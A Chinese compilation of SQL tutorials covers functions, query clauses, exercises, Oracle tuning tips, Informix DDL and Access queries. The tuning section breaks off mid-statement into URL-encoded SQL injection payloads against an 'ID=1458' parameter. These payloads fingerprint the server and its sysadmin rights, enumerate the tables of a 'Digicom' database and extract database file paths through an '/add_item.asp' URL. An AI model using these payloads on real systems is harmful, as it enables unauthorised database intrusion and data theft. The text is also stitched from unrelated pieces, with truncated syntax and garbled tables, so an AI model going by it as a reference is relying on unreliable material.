经典常用sql语句(精选9篇)
1、ASCII()
返回字符表达式最左端字符的ASCII 码值。在ASCII()函数中,纯数字的字符串可不用‘’括起来,但含其它字符的字符串必须用‘’括起来使用,否则会出错。
2、CHAR()
将ASCII 码转换为字符。如果没有输入0 ~ 255 之间的ASCII 码值,CHAR()返回NULL。
3、LOWER()和UPPER()
LOWER()将字符串全部转为小写;UPPER()将字符串全部转为大写。
4、STR()
把数值型数据转换为字符型数据。
STR(
length 指定返回的字符串的长度,decimal 指定返回的小数位数。如果没有指定长度,缺省的length 值为10,decimal 缺省值为0。
当length 或者decimal 为负值时,返回NULL;
当length 小于小数点左边(包括符号位)的位数时,返回length 个*; 先服从length,再取decimal ;
当返回的字符串位数小于length,左边补足空格。
二、去空格函数
1、LTRIM()把字符串头部的空格去掉。
2、RTRIM()把字符串尾部的空格去掉。
三、取子串函数
1、left()
LEFT(
返回character_expression 左起 integer_expression 个字符。
2、RIGHT()
RIGHT(
返回character_expression 右起 integer_expression 个字符。
3、SUBSTRING()
SUBSTRING(
返回从字符串左边第starting_ position 个字符起length个字符的部分。
四、字符串比较函数
1、CHARINDEX()
返回字符串中某个指定的子串出现的开始位置。
CHARINDEX(<’substring_expression’>,
其中substring _expression 是所要查找的字符表达式,expression 可为字符串也可为列名表达式。如果没有发现子串,则返回0 值。
此函数不能用于TEXT 和IMAGE 数据类型。
2、PATINDEX()
返回字符串中某个指定的子串出现的开始位置。
PATINDEX(<’%substring _expression%’>,
与CHARINDEX 函数不同的是,PATINDEX函数的子串中可以使用通配符,且此函数可用于CHAR、VARCHAR 和TEXT 数据类型。
五、字符串操作函数
1、QUOTENAME()
返回被特定字符括起来的字符串。
QUOTENAME(<’character_expression’>[,quote_ character])其中quote_ character 标明括字符串所用的字符,缺省值为“[]”。
2、REPLICATE()
返回一个重复character_expression 指定次数的字符串。
REPLICATE(character_expression integer_expression)如果
integer_expression 值为负值,则返回NULL。
3、REVERSE()
将指定的字符串的字符排列顺序颠倒。
REVERSE(
4、REPLACE()
返回被替换了指定子串的字符串。
REPLACE(
5、SPACE()
返回一个有指定长度的空白字符串。
SPACE(
6、STUFF()
用另一子串替换字符串指定位置、长度的子串。
STUFF(
如果起始位置为负或长度值为负,或者起始位置大于
character_expression1 的长度,则返回NULL 值。
如果length 长度大于character_expression1 中 start_ position 以右的长度,则character_expression1 只保留首字符。
六、数据类型转换函数
1、CAST()
CAST(
2、CONVERT()
CONVERT(
1)data_type为SQL Server系统定义的数据类型,用户自定义的数据类型不能在此使用。
2)length用于指定数据的长度,缺省值为30。
3)把CHAR或VARCHAR类型转换为诸如INT或SAMLLINT这样的INTEGER类型、结果必须是带正号或负号的数值。
4)TEXT类型到CHAR或VARCHAR类型转换最多为8000个字符,即CHAR或VARCHAR数据类型是最大长度。
5)IMAGE类型存储的数据转换到BINARY或VARBINARY类型,最多为8000个字符。
6)把整数值转换为MONEY或SMALLMONEY类型,按定义的国家的货币单位来处理,如人民币、美元、英镑等。
7)BIT类型的转换把非零值转换为1,并仍以BIT类型存储。
8)试图转换到不同长度的数据类型,会截短转换值并在转换值后显示“+”,以标识发生了这种截断。
9)用CONVERT()函数的style 选项能以不同的格式显示日期和时间。style 是将DATATIME 和SMALLDATETIME 数据转换为字符串时所选用的由SQL Server 系统提供的转换样式编号,不同的样式编号有不同的输出格式。
七、日期函数
1、day(date_expression)
返回date_expression中的日期值
2、month(date_expression)
返回date_expression中的月份值
3、year(date_expression)
返回date_expression中的年份值
4、DATEADD()
DATEADD(
返回指定日期date 加上指定的额外日期间隔number 产生的新日期。
5、DATEDIFF()
DATEDIFF(
返回两个指定日期在datepart 方面的不同之处,即date2 超过date1的差距值,其结果值是一个带有正负号的整数值。
6、DATENAME()
DATENAME(
以字符串的形式返回日期的指定部分此部分。由datepart 来指定。
7、DATEPART()
DATEPART(
以整数值的形式返回日期的指定部分。此部分由datepart 来指定。DATEPART(dd,date)等同于DAY(date)
DATEPART(mm,date)等同于MONTH(date)
DATEPART(yy,date)等同于YEAR(date)
8、GETDATE()
以DATETIME 的缺省格式返回系统当前的日期和时间。
八、统计函数
AVG()-返回的平均价值
count()-返回的行数
first()-返回第一个值
last()-返回最后一个值
max()-返回的最大价值
min()-返回最小的价值
total()-返回的总和
九、数学函数
abs(numeric_expr)求绝对值
ceiling(numeric_expr)取大于等于指定值的最小整数 exp(float_expr)取指数
floor(numeric_expr)小于等于指定值得最大整数 pi()3.1415926.........power(numeric_expr,power)返回power次方
rand([int_expr])随机数产生器
round(numeric_expr,int_expr)安int_expr规定的精度四舍五入 sign(int_expr)根据正数,0,负数,返回+1,0,-1 sqrt(float_expr)平方根
十、系统函数
suser_name()用户登录名
user_name()用户在数据库中的名字 user用户在数据库中的名字 show_role()对当前用户起作用的规则
db_name()数据库名object_name(obj_id)数据库对象名
col_name(obj_id,col_id)列名
col_length(objname,colname)列长度
1.select语句由多个子句构成, 其基本表达式如下:select[all∣distinct]*或者column as alias[, column2] from table[, table2]
[where“conditions1”]
[group by“column-list1”]
[order by“column-list”[asc∣desc]]
在查询语句中, 被[]括起来的是可选项。最基本的结构是select-from-where语句。如果没有查询条件的话, where语句也是可以没有的。其中select子句是数据查询的核心语句, 通过select子句, 可以指定所要查询的字段。
2.as子句设置字段别名
select customerID, companyTITLE as公司名称from客户表
3.from子句用以指出查询目标所涉及的所有表。可以指定当前的数据库, 也可以指定一个外部数据库或一个数据源。From子句由关键字from后跟一组用逗号分开的表名组成, 每个表名都表示一个包括该查询要检索数据的表。这些表称为此SQL语句的表源, 因为查询结果都源于它们。在FROM子句中最多可指定256表或视图, 它们之间用逗号分隔。
4.where子句指出查询目标必须满足的条件, 系统根据条件进行选择运算, 输出符合条件的记录集合。Where子句设置查询条件, 过滤掉不需要的数据行。例如下面语句可查询价格高于1000的记录。Select product, perprice from产品表 where perprice>1000。
5.order by子句对记录排序。Order by是可选的子句, order by子句将查询结果按一列或多列中的数据排序。可以通过指定ASC或DESC按照升序或降充排列查询的结果。
6.group by子句进行分组查询
group by子句将所有的行在一起, 它包含了指定列的数列以及允许合计函数来计算一个或者多个列。
7.like和in子句进行通配查询
in运算符指定某几个项, 用以查询符合这几个项的所有记录, 如同“=”与“or”的组合。Like匹配符, 通配字符有以下几种:百分号%可匹配任意类型和长度的字符, 如果是中文, 应使用两个百分号。下划线:匹配单个任意字符。方括号[]指定一个字符、字符串或范围, 要求所匹配的对象为它们中的任一个。
8.sql函数进行统计查询
sql提供了事个作用在列值集合上的内置函数:count (计算元素的个数) 、max (找出某一列元素的最大值) 、min (找出某一列元素的最小值) 、sum (对某一列的数值进行求和) 、avg (对某一列的数值进行求平均数) , 除count外, 这些集合函数都必须作用在由简单值组成的集合上, 也就是, 数字集合或字符串集合。
还有一些命令, 由于篇幅限制, 不再一一列举, 请各位读者可以逐一尝试;一些基本的sql命令可以帮助我们在日常的生活工作中解决一些实际性的问题。
摘要:本文对日常工作中要经常用到SQL语句进行分析, 希望能与感兴趣的朋友一起探讨, 共同挖掘新的功能, 借此提高工作效率, 方便日常工作。
(1)按课本第99-100页表结构要求建立以上六张表。
(2)在学生表中插入一个学生记录:(”99082901”,”程丽”,”女”,1981-2-10,”群众”,”200704”)。
(3)使选修CZ004号课的同学的成绩为NULL值。
(4)为课程表加一”教师”列。
(5)修改课程表,使“肖贵”老师教CJ001号课。
(6)列出“王勇”老师所授课程的课号和课名。
(7)列出年龄不小于20的男生的学号和姓名。
(8)统计学生所选课程的门数。
(9)列出选修CJ001号课的学生的平均年龄。
(10)列出选修“计算机基础”课的学生的平均成绩、最高分和最低分。
(11)列出所有姓“李”的同学的姓名、年龄和性别。
(12)列出成绩表中成绩为空值的学生的姓名、课号。
(13)列出年龄大于女生平均年龄的男生的姓名和年龄。
(14)删除成绩表中无成绩的记录。
(15)把低于CJ001号课平均成绩的所有同学的所有课程的成绩提高5分。
(16)按学号升序,成绩降序列出每个同学的选课情况(包括姓名、课名、成绩)。
(17)按课号和成绩降序列出每门课的选课情况包括课名、姓名、成绩。
(18)按成绩降序列出每个同学的姓名、总成绩。
(19)求出学习全部课程的所有同学的名单。
(20)列出平均成绩大与80分同学的学号和平均成绩,按平均成绩降序排列。
(25)查询平均成绩排在前5名的学生姓名及平均成绩。
(26)统计选修课程在3门以上(含3门)的学生的学号、姓名和平均成绩。
(27)查询学生年龄超过21岁的学生信息。
(28)列出所有姓“李”的同学的学号、姓名、年龄和性别。
sql语句高效性
在SQL Server数据库中,我们在写查询语句时,一定要遵循一定的原则才能能够使SQL语句执行起来更加的高效率。本文我们主要就总结了34条写高性能SQL语句的原则,接下来就让我们一起来了解一下这部分内容吧。 (1)选择最有效率的表名顺序(只在基于规则的优化器中有效): ORACLE的解析器按照从右到左的顺序处理FROM子句中的表名,FROM子句中写在最后的表(基础表drivingtable)将被最先处理,在FROM子句中包含多个表的情况下,你必须选择记录条数最少的表作为基础表。如果有3个以上的表连接查询,那就需要选择交叉表(intersectiontable)作为基础表,交叉表是指那个被其他表所引用的表. (2)WHERE子句中的连接顺序.: ORACLE采用自下而上的顺序解析WHERE子句,根据这个原理,表之间的连接必须写在其他WHERE条件之前,那些可以过滤掉最大数量记录的条件必须写在WHERE子句的末尾. (3)SELECT子句中避免使用‘*‘: ORACLE在解析的过程中,会将*依次转换成所有的列名,这个工作是通过查询数据字典完成的,这意味着将耗费更多的时间 (4)减少访问数据库的次数: ORACLE在内部执行了许多工作:解析SQL语句,估算索引的利用率,绑定变量,读数据块等; (5)在SQL*Plus,SQL*Forms和Pro*C中重新设置ARRAYSIZE参数,可以增加每次数据库访问的检索数据量,建议值为200 (6)使用DECODE函数来减少处理时间: 使用DECODE函数可以避免重复扫描相同记录或重复连接相同的表. (7)整合简单,无关联的数据库访问: 如果你有几个简单的数据库查询语句,你可以把它们整合到一个查询中(即使它们之间没有关系) (8)删除重复记录: 最高效的删除重复记录方法(因为使用了ROWID)例子: 1. DELETEFROMEMPEWHEREE.ROWID>(SELECTMIN(X.ROWID) 2. FROMEMPXWHEREX.EMP_NO=E.EMP_NO); (9)用TRUNCATE替代DELETE: 当删除表中的记录时,在通常情况下,回滚段(rollbacksegments)用来存放可以被恢复的信息.如果你没有COMMIT事务,ORACLE会将数据恢复到删除之前的状态(准确地说是恢复到执行删除命令之前的状况)而当运用TRUNCATE时,回滚段不再存放任何可被恢复的信息.当命令运行后,数据不能被恢复.因此很少的资源被调用,执行时间也会很短.(译者按:TRUNCATE只在删除全表适用,TRUNCATE是DDL不是DML) (10)尽量多使用COMMIT: 只要有可能,在程序中尽量多使用COMMIT,这样程序的性能得到提高,需求也会因为COMMIT所释放的资源而减少: COMMIT所释放的资源: a.回滚段上用于恢复数据的信息. b.被程序语句获得的锁 c.redologbuffer中的空间 d.ORACLE为管理上述3种资源中的内部花费 (11)用Where子句替换HAVING子句: 避免使用HAVING子句,HAVING只会在检索出所有记录之后才对结果集进行过滤.这个处理需要排序,总计等操作.如果能通过WHERE子句限制记录的数目,那就能减少这方面的开销.(非oracle中)on、where、having这三个都可以加条件的子句中,on是最先执行,where次之,having最后,因为on是先把不符合条件的记录过滤后才进行统计,它就可以减少中间运算要处理的数据,按理说应该速度是最快的,where也应该比having快点的,因为它过滤数据后才进行sum,在两个表联接时才用on的,所以在一个表的时候,就剩下where跟having比较了。在这单表查询统计的情况下,如果要过滤的条件没有涉及到要计算字段,那它们的结果是一样的,只是where可以使用rushmore技术,而having就不能,在速度上后者要慢如果要涉及到计算的字段,就表示在没计算之前,这个字段的值是不确定的,根据上篇写的工作流程,where的作用时间是在计算之前就完成的,而having就是在计算后才起作用的,所以在这种情况下,两者的结果会不同。在多表联接查询时,on比where更早起作用。系统首先根据各个表之间的联接条件,把多个表合成一个临时表后,再由where进行过滤,然后再计算,计算完后再由having进行过滤。由此可见,要想过滤条件起到正确的作用,首先要明白这个条件应该在什么时候起作用,然后再决定放在那里 (12)减少对表的查询: 在含有子查询的SQL语句中,要特别注意减少对表的`查询.例子: 1. SELECTTAB_NAMEFROMTABLESWHERE(TAB_NAME,DB_VER)=(SE LECT 2. TAB_NAME,DB_VERFROMTAB_COLUMNSWHEREVERSION=604) (13)通过内部函数提高SQL效率.: 复杂的SQL往往牺牲了执行效率.能够掌握上面的运用函数解决问题的方法在实际工作中是非常有意义的。 (14)使用表的别名(Alias): 当在SQL语句中连接多个表时,请使用表的别名并把别名前缀于每个Column上.这样一来,就可以减少解析的时间并减少那些由Column歧义引起的语法错误. (15)用EXISTS替代IN、用NOTEXISTS替代NOTIN: 在许多基于基础表的查询中,为了满足一个条件,往往需要对另一个表进行联接.在这种情况下,使用EXISTS(或NOTEXISTS)通常将提高查询的效率.在子查询中,NOTIN子句将执行一个内部的排序和合并.无论在哪种情况下,NOTIN都是最低效的(因为它对子查询中的表执行了一个全表遍历).为了避免使用NOTIN,我们可以把它改写成外连接(OuterJoins)或NOTEXISTS. 例子: 高效: 1. SELECT*FROMEMP(基础表)WHEREEMPNO>0ANDEXISTS 2. (SELECT‘XFROMDEPTWHEREDEPT.DEPTNO=EMP.DEPTNOANDLOC=‘MELB) 低效: 1. SELECT*FROMEMP(基础表)WHEREEMPNO>0ANDDEPTNOIN 2. (SELECTDEPTNOFROMDEPTWHERELOC=‘MELB) (16)识别低效执行的SQL语句: 虽然目前各种关于SQL优化的图形化工具层出不穷,但是写出自己的SQL工具来解决问题始终是一个最好的方法: 1. SELECTEXECUTIONS,DISK_READS,BUFFER_GETS, 2. ROUND((BUFFER_GETS-DISK_READS)/BUFFER_GETS,2)Hit_r adio, 3. ROUND(DISK_READS/EXECUTIONS,2)Reads_per_run, 4. SQL_TEXT 5. FROMV$SQLAREA 6. WHEREEXECUTIONS>0 7. ANDBUFFER_GETS>0 8. AND(BUFFER_GETS-DISK_READS)/BUFFER_GETS<0.8 9. ORDERBY4DESC; (17)用索引提高效率: 索引是表的一个概念部分,用来提高检索数据的效率,ORACLE使用了一个复杂的自平衡B-tree结构.通常,通过索引查询数据比全表扫描要快.当ORACLE找出执行查询和Update语句的最佳路径时,ORACLE优化器将使用索引.同样在联结多个表时使用索引也可以提高效率.另一个使用索引的好处是,它提供了主键(primarykey)的唯一性验证.。那些LONG或LONGRAW数据类型,你可以索引几乎所有的列.通常,在大型表中使用索引特别有效.当然,你也会发现,在扫描小表时,使用索引同样能提高效率.虽然使用索引能得到查询效率的提高,但是我们也必须注意到它的代价.索引需要空间来存储,也需要定期维护,每当有记录在表中增减或索引列被修改时,索引本身也会被修改.这意味着每条记录的INSERT,DELETE,UPDATE将为此多付出4,5次的磁盘I/O.因为索引需要额外的存储空间和处理,那些不必要的索引反而会使查询反应时间变慢.。定期的重构索引是有必要的.: ALTERINDEXID=1458%20and%20@@version%3D0 判断版本
ID=1458%20and%20db_name%28%29%3D0 数据库名
ID=1458%20and%20@@servername%3D0 服务器名
ID=1458%20and%20system_user%3D0 系统用户名
D=1458%20and%20user%3D0 权限/DBO OR PUBLIC
ID=1458%20and%20quotename%28is_srvrolemember%280x730079007300610064006D0069006E00%29%29%3D0 是否sysadmin,1是0否
ID=1458%20and%20quotename%28db_name%281%29%29%3D0 判断数据库
ID=1458%20and%20quotename%28db_name%282%29%29%3D0
ID=1458%20and%20quotename%28db_name%283%29%29%3D0
ID=1458%20and%20%28select%20top%201%20quotename%28name%29%20from%20Digicom.dbo.sysobjects%20where%20type%3Dchar%2885%29%20AND%20name%20not%20in%20%28select%20top%2032%20name%20from%20Digicom.dbo.sysobjects%20where%20type%3Dchar%2885%29%29%29%3D0
ID=1458%20and%20%28select%20top%201%20quotename%28name%29%20from%20Digicom.dbo.sysobjects%20where%20type%3Dchar%2885%29%20AND%20name%20not%20in%20%28select%20top%2033%20name%20from%20Digicom.dbo.sysobjects%20where%20type%3Dchar%2885%29%29%29%3D0
解密之后就是:
ID=1458 and (select top 1 quotename(name) from Digicom.dbo.sysobjects where type=U AND name not in (select top 33 name from Digicom.dbo.sysobjects where type=U))=0
下面是pangolin的:
/add_item.asp?ID=1458%20and%200<(select%20top%201%20cast([name]%20as%20nvarchar(4000))%2bchar(94)%2bcast([filename]%20as%20nvarchar(4000))%20from(select%20top%20%201%20dbid,name,filename%20from%20[master].[dbo].[sysdatabases]%20order%20by%20[dbid])%20t%20order%20by%20[dbid]%20desc)--%20and%201=1
得到数据库文件的路径.
-------------------------------------------------------------------------------------------------------------------------------------------------------------------
清除SQL2005的下拉列表中的地址
SQL是在HKEY_CURRENT_USERSoftwareMicrosoftMicrosoft SQL Server80ToolsClientPrefServers
1. CREATE DATABASE database_name [WITH LOG IN “pathname”] 创建数据库。
database_name:数据库名称。
“pathname”:事务处理日志文件。
创建一database_name.dbs目录,存取权限由GRANT设定,无日志文件就不能使用
BEGIN WORK等事务语句(可用START DATABASE语句来改变)。
可选定当前数据库的日志文件。
如:select dirpath form. systables where tabtype = “L”;
例:create databse customerdb with log in “/usr/john/log/customer.log”;
2. DATABASE databse-name [EXCLUSIVE]选择数据库。
database_name:数据库名称。
EXCLUSIVE:独占状态。
存取当前目录和DBPATH中指定的目录下的数据库,事务中处理过程中不要使用此语句。
例:dtabase customerdb;
3.CLOSE DATABASE
关闭当前数据库。
database_name:数据库名称。
此语句之后,只有下列语句合法:
CREATE DATABASE; DATABASE; DROP DATABSE; ROLLFORWARD DATABASE;
删除数据库前必须使用此语句。
例:close database;
4.DROP DATABASE database_name 删除指定数据库。
database_name:数据库名称。
用户是DBA或所有表的拥有者;删除所有文件,但不包括数据库目录;不允许删除当前数据库(须先关闭当前数据库);事务中处理过程中不能使用此语句,通过ROLLBACK WORK 也不可将数据库恢复。
例:drop databse customerdb;
5.CREATE [TEMP] TABLE table-name (column_name datatype [NOT NULL], …) [IN “pathname”] 创建表或临时表。
table-name :表名称。
column_name:字段名称。
data-type:字段数据类型。
path-name:指定表的存放位置
TEMP用于指定建立临时表;表名要唯一,字段要唯一;有CONNECT权限的用户可建立临时表;创建的表缺省允许CONNECT用户存取,但不可以ALTER。
例:create table user
( c0 serial not null, c1 char (10),
c2 char(2),
c3 smallint,
c4 decimal(6,3),
c5 date
) in “usr/john/customer.dbs/user;
6.ALTER TABLEALTER TABLE table-name
{ADD (newcol_name newcol_type [BEFORE oldcol_name], …) | DROP (oldcol_name, …) | MODIFY (oldcol_name newcol_type [NOT NULL], … )}, … 修改表结构。
table-name:表名称。
newcol_name:新字段名称
newcol_type:新字段类型
oldcol_name:老字段名称
可以使用单个或多个ADD子句、DROP子句、MODIFY子句,但某个字句失败,操作即中止;原字段是NULL,不允许MODIFY为NOT NULL,除非所有NULL字段中均非空,反之可以;ALTER使用者是表的拥有者或拥有DBA权限,或被授权;事务中处理过程中不要使用此语句,
例:alter table user
add ( c6 char(20) before c5);
7.RENAME TABLE oldname TO newname修改表名。
oldname:原名称。
newname:新名称。
RENAME使用者是表的拥有者或拥有DBA权限,或被授权;事务中处理过程中不要使用此语句。
例:rename user to bbb;
8.DROP TABLE table-name 删除表。
table-name:表名称。
删除表意味着删除其中所有数据、各字段上的索引及对表的赋权、视图等;用户不能删除任何系统目录表;语句使用者是表拥有者或拥有DBA权限,事务中处理过程中不要使用此语句。
9.RENAME COLUMN table.oldcolumn, TO newcolumn修改字段名。
table.oldcolumn:表名及原字段名称
newcolumn:新字段名称。
语句使用者是表的拥有者或拥有DBA权限或有ALTER权限的用户,事务中处理过程中不要使用此语句。
例:rename column user.c6 to c7;
10. CREATE VIEW view-name column-listCREATE VIEW view-name column-list AS select_statement [WITH CHECK OPTION] 创建视图。
view-name:视图名称。
column-list:字段列表。
select_statement:SELECT语句。
以下语句不使用视图:ALTER TABLE,DROP INDEX,ALTER INDEX,LOCK TABLE,CREATE INDEX, RENAME TABLE;视图将延用基表的字段名,对表达式等虚字段和多表间字段重名必须指明标识其字段名;若对视图中某些字段命名,则所有字段都必须命名;视图中数据类型延用基表中的数据类型,虚字段起诀于表达式;不能使用ORDER BY和UNION子句;对视图中所有的字段要有SELECT权限;事务中处理过程中使用此语句,即使事务回滚,视图也将建立,不能恢复。
例:create view v_user as select * from user where c1 = “B1”;
11. DROP VIEW view-name 删除视图。
view-name:视图名称。
用户可删除自己建立的视图;视图的后代视图也被删除;事务中处理中不要使用此语句。
例:drop view v_user;
12. CREATE INDEXCREATE [UNIQUE/DISTINCT] [CLUSTER] INDEX index_name ON table_name
([column_name ASC/DESC],…) 创建索引。
index_name:索引名称。
table_name:表名称。
column_name:字段名称。
UNIQUE/DISTINCT:唯一索引。
CLUSTER:使表的物理存放顺序按索引排列。
ASC/DESC:升序或降序,缺省升序。
语句执行时,将表的状态置为EXCLUSIVE;复合索引最多包含8个字段,所有字段长度和不得大于120字节;事务中处理过程中使用此语句,即使事务回滚,索引将建立,不能恢复。
例:create cluster index ix_user on user(c5);
共3页: 1 [2] [3] 下一页
AVG(平均)COUNT(计数)MAX(最大值)MIN(最小值)SUM(总合)
运用函数的语法是:
SELECT “函数名”(“栏位名”)FROM “表格名”;
举例来说,若我们要由我们的示范表格中求出 Sales 栏位的总合,
Store_Information表格
Store_NameSalesTxn_DateLos Angeles150005-Jan-San Diego25007-Jan-1999Los Angeles30008-Jan-1999Boston70008-Jan-1999我们就打入,
SELECT SUM(Sales) FROM Store_Information;结果:
SUM(Sales)27502750 代表所有 Sales 栏位的总合: 1500 + 250 + 300 + 700,
除了函数的运用外,SQL 也可以做简单的数学运算,例如加 (+) 和减 (-)。对于文字类的资料,SQL 也有好几个文字处理方面的函数,例如文字相连 (concatenation),文字修整 (trim),以及子字串 (substring)。不同的数据库对这些函数有不同的语法,所以最好是参考您所用数据库的信息,来确定在那个数据库中,这些函数是如何被运用的。
复杂条件的语法如下:
SELECT “栏位名”
FROM “表格名”
WHERE “简单条件”
{[AND|OR] “简单条件”}+;
{}+ 代表{}之内的情况会发生一或多次。在这里的意思就是AND加简单条件及OR加简单条件的情况可以发生一或多次。另外,我们可以用 ( ) 来代表条件的先后次序。
举例来说,我们若要在Store_Information表格中选出所有 Sales 高于 $1,000 或是 Sales 在 $500 及 $275 之间的资料的话,
Store_Information表格
Store_NameSalesTxn_DateLos Angeles150005-Jan-San Diego25007-Jan-1999San Francisco30008-Jan-1999Boston70008-Jan-1999
我们就打入,
SELECT Store_Name
FROM Store_Information
WHERE Sales >1000
OR (Sales < 500 AND Sales >275);
结果:
Store_NameLos AngelesSan Francisco
上面是Access数据库中所涉及的两个表
下面我们介绍Access数据库中用于查询数据的语句:
1、SELECT 语句
SELECT语句是数据库中使用频率最高的语句,就是我们通常说的查询语句。
其格式如下:
SELECT+需要查询的对象+FROM+表名+WHERE+条件。
例
1、查询上表中所有男性职工的“工号”“姓名”“部门”和“应发工资”。SELECT 工号,姓名,部门,应发工资 FROM rsda where 性别=”男”
注意事项:
1):写查询语句时英文部分不区分字母大小写。
2):除汉字外,所有字符标点和数字都必须使用半角英文状态下输入。
3):SELECT查询语句中如果没有条件限制,“WHERE+条件”部分可以省略。
4):需要查询的项目在表中必须存在。
5):如果要输出表中所有项目可以用“*”代替。
例如:查询上表中所有人员的姓名,出生年月及部门
SELECT 姓名,出生年月,部门 FROM rsda;
显示表中的所有信息
Select * from rsda;显示表中所有女性职工的信息 Select * from rsda where 性别=”女”;
要求:查询表中所有“未婚”男性职工的信息。
Select * from rsda where(性别=”男”)and(婚否=no);有两个知识点需要掌握:
1):运算符:
A、算术运算符:加(+)、减(-)、乘(*)、除(/)、和取模(%)。算术运算符可以完成对两个表达式的数学运算。
B:赋值运算符:等号(=)
C:比较运算符:等于(=)、大于(>)、大于或等于(>=)、小于(<)、小于或等于(<=)、不等于(<>或!=)、不小于(!<)、不大于(!>).D:逻辑运算符:与(and)、或(or)和非(not)。对于AND运算,只有当运算符两端的表达式的值都为真时,结果才返回真,只要有一股表达式的值为假,结果就是假;对于or运算,只要运算符两端的表达式的值有一个位真,结果就返回真,只有两个表达式的值都是假,结果才为假;NOT运算是对表达式的值取反。
2):数据类型:文本、备注、数字、日期/时间、货币、自动编号、是/否、超链接等。本例中“婚否”选项,使用的是“是/否”类型,即我们常说的布尔型,判断的时候“是”用yes表示,“否”用no表示。
Select语句中各个参数:
1)、top 如:查询前3条记录的工号,姓名,性别 Select top 3 工号,姓名,性别 from rsda;显示的结果是前3条记录。
查询数据表中前50%人员的信息
Select top 50 percent * from rsda;显示的结果是表中前50%人员的信息 2):DISTINCT
如:查询所有记录的“性别”字段,并去掉重复值 Select distinct 性别 from rsda;3):别名
如:查询所有记录的工号(别名为number)、姓名(别名为name)、出生年月(别名为birthday)字段
Select number=工号,姓名 as name ,出生年月 birthday from rsda;需要注意的是,在ACCESS中使用 “列名 AS 列别名”形式。4):年龄
如:查询表中每个人的年龄。
Select 姓名,(year(now())-year(出生年月))as 年龄 from rsda;now()函数返回当前日期,year()获取年份。其他函数有abs(绝对值)、left(从左侧截取字符串)、right(从右侧截取字符串)、len(获取字符串的长度)、ltrim和rtrim(去掉字符串前面或后面的空格)、day(返回日期)、month(返回月份)、year(返回年份)、weekday(返回星期)、hour(返回小时)、date(返回系统日期)、sum(求和)、avg(求平均值)、count(统计个数)、max(求最大值)、min(求最小值)等等。
如:显示表中应发工资的最大值
Select max(应发工资)as 工资 from rsda; 如:查询表中各人员工号的前两位
Select left(工号,2)as 工号前两位 from rsda; 如:统计所有男性职工的人数
Select count(*)from rsda where 性别=”男”
如:显示表中应发工资最高的人员信息
select * from rsda where 应发工资>=(select max(应发工资)from rsda);上面是个嵌套查询语句
2、into语句
如:创建一个新表rrr来显示上表中前五名人员的信息。
Select top 5 * into rrr from rsda;
第二讲
一、from语句
from子句用于指定要查询的表。
例如:查询表rsda表和kcm表中的数据。
SELECT rsda.编号,rsda.工号,姓名,性别,出生年月,kcm.课程名 from rsda,kcm where rsda.工号=kcm.工号
注意:本例子是关于表间查询的。表中有共同列的项目必须标注表名,格式为“表名”+“.”+“列号”。当两个或多个数据表中有共同名称的字段时必须使用上面的格式,否则由于系统不清楚应该使用哪个数据表中的同名字段,将无法执行此查询,会提示错误。上面例子也可以使用联合查询形式完成,程序如下:
SELECT rsda.编号,rsda.工号,姓名,性别,出生年月,kcm.课程名 from rsda inner join kcm on rsda.工号=kcm.工号
练习:显示担任“计算机文化基础”教学人员的工号,姓名,性别,婚否,基本工资及部门。
二、where语句
where子句是条件子句,用来限定查询的内容。在where语句中是允许使用比较运算符如下:
等于、大于、大于等于、小于、小于等于、不等于、不大于、不小于、不等于。例如:查询rsda表中应发工资小于1500的人员信息。
SELECT * from rsda where 应发工资<1500 练习:显示表中基本工资不大于1200的工号,姓名,出生年月及基本工资。逻辑表达式如下:
逻辑反、逻辑与、逻辑或。
例如:查询年龄小于39岁未婚男士的部门信息
SELECT 姓名,部门 from rsda where(year(now())-year(出生年月)<39)and(婚否=no)and(性别=”男”)练习:显示当前未过生日的已婚人员信息。
三、between关键字
例如:查询表rsda中应发工资在1000到1500之间的人员信息 SELECT * from rsda where 应发工资 between 1000 and 1500 练习:显示表中基本工资在800到1200之间人员的姓名,部门及基本工资。
四、in 关键字
使用in关键字可以确定给定的值是否与子查询或列表中的值相匹配。例如:显示教务处、学生处和总务处已婚男士人员的补贴信息
SELECT 姓名,补贴 from rsda where(性别=“男”)and(婚否=-1)and(部门 in(“教务处”,“学生处”,“总务处”))练习:查询表中总务处和基础部未婚女性职工的人数。
五、like关键字
使用like关键字可以确定给定的字符串是否与指定的模式匹配。模式可以包含常规字符和通配符字符。通过模式的匹配,达到模糊查询的效果。
例如:查询表中张姓人员的工号,姓名,性别,部门及出生年月
SELECT 工号,姓名,性别,部门,出生年月 from rsda where 姓名 like “张*”
练习:查询工号以11开头的所有人员信息。
六、group by语句
在group by语句中在选择列表内定义的列的别名不能用于指定分组列,此外,select后面的每一列数据除了出现在统计函数中的列外,都必须在group by子句中应用。例如:在表rsda表中按性别进行分组,查询相应的人数。
SELECT 性别,count(性别)as 人数 from rsda group by 性别 练习:统计已婚和未婚的人数,并按婚否进行分组。
七、having语句
having语句为分组或集合指定搜索条件,通常与group by语句一起使用,说明:当having 与group by all一起使用时,having 语句替代了all。在having语句中不能使用text,image,ntext数据类型。
HAVING 子句对 GROUP BY 子句设置条件的方式与 WHERE 子句和 SELECT 语句交互的方式类似。WHERE 子句搜索条件在进行分组操作之前应用;而 HAVING 搜索条件在进行分组操作之后应用。HAVING 语法与 WHERE 语法类似,但 HAVING 可以包含聚合函数。HAVING 子句可以引用选择列表中出现的任意项。例如:在表中查询部门中有两个以上人员的部门信息
SELECT 部门,count(部门)as 部门人数 from rsda group by 部门 having count(部门)>=2 练习:显示表中有两个以上补贴相同的人员信息。
八、order by语句
order by语句用于指定对查询结果排序。如果在select中同时指定了top,则order by语句无效。在排序过程中ASC表示按递增顺序排列,即从最低值到最高值对指定列中的值进行排序。是系统默认的排列方式,书写语句时可省略。DESC表示按递减顺序排列,即从最高值到最低值对指定列中的值进行排序。需要注意的是,空值被视为最低值。例如:显示表中基本工资为1000的人员信息,并按工号降序排列。SELECT * from rsda where 基本工资=1000 order by 工号 desc;练习:查询补贴为500的工号,姓名,部门,并按工号升序排列。
九、联合查询。
联合查询是指将两个或两个以上的select语句通过union运算符连接起来的查询,联合查询可以将两个或者更多查询的结果组合为单个结果集,该结果集包含联合查询中所有查询的全部行。
使用union组合两个查询的结果集的两个基本规则是:
1、所有查询中的列数和列是顺序必须相同。
2、数据类型必须兼容。
十、嵌套查询
嵌套查询主要用于复杂的查询。在SQL语言中,一个select---from---where语句称为一个查询块,将一个查询块嵌套在另外一个查询块的where子句或having短语的条件中的查询称为嵌套查询。
嵌套查询中上层查询块称为外层查询或父查询,下层查询块称为内查询或子查询。SQL语言允许多层查询嵌套,但是在子查询中不允许出现order by语句,order by语句只能用在最外层的查询块中。
